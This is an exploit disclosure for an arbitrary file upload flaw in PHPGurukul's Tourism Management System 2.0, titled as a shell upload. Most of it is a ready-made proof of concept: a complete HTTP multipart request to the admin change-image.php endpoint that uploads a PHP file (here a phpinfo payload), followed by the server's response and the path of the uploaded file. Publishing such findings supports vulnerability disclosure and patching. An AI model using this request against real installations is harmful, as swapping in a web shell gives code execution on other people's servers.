Tourism Management System 2.0 Shell Upload
- Exploit Title: Tourism Management System v2.0 - Arbitrary File Upload
- Google Dork: N/A
- Exploit Author: SoSPiro
- Date: 2024-02-18
- Vendor Homepage: https://phpgurukul.com
- Software Link: https://phpgurukul.com/tourism-management-system-free-download/
- Version: 2.0
- Tested on: Windows 10 Pro
- Impact: Allows admin to upload all files to the web server
- CVE : N/A
Exploit Description:
The application is prone to an arbitrary file-upload because it fails to adequately sanitize user-supplied input.
Proof of Concept (PoC):
- Request
POST /zer/tms/admin/change-image.php?imgid=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------390927495111779706051786831201
Content-Length: 361
Origin: http://localhost
Connection: close
Referer: http://localhost/zer/tms/admin/change-image.php?imgid=1
Cookie: PHPSESSID=eqms3ipedmm41hqa1djnu1euhv
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-PwnFox-Color: red
-----------------------------390927495111779706051786831201
Content-Disposition: form-data; name="packageimage"; filename="phpinfo.php"
Content-Type: text/plain
<?php phpinfo();?>
-----------------------------390927495111779706051786831201
Content-Disposition: form-data; name="submit"
-----------------------------390927495111779706051786831201--
- Response
HTTP/1.1 200 OK
Date: Sun, 18 Feb 2024 04:33:37 GMT
Server: Apache/2.4.54 (Win64) PHP/8.1.13 mod_fcgid/2.3.10-dev
X-Powered-By: PHP/8.1.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8146
- File location:
http://localhost/zer/tms/admin/pacakgeimages/phpinfo.php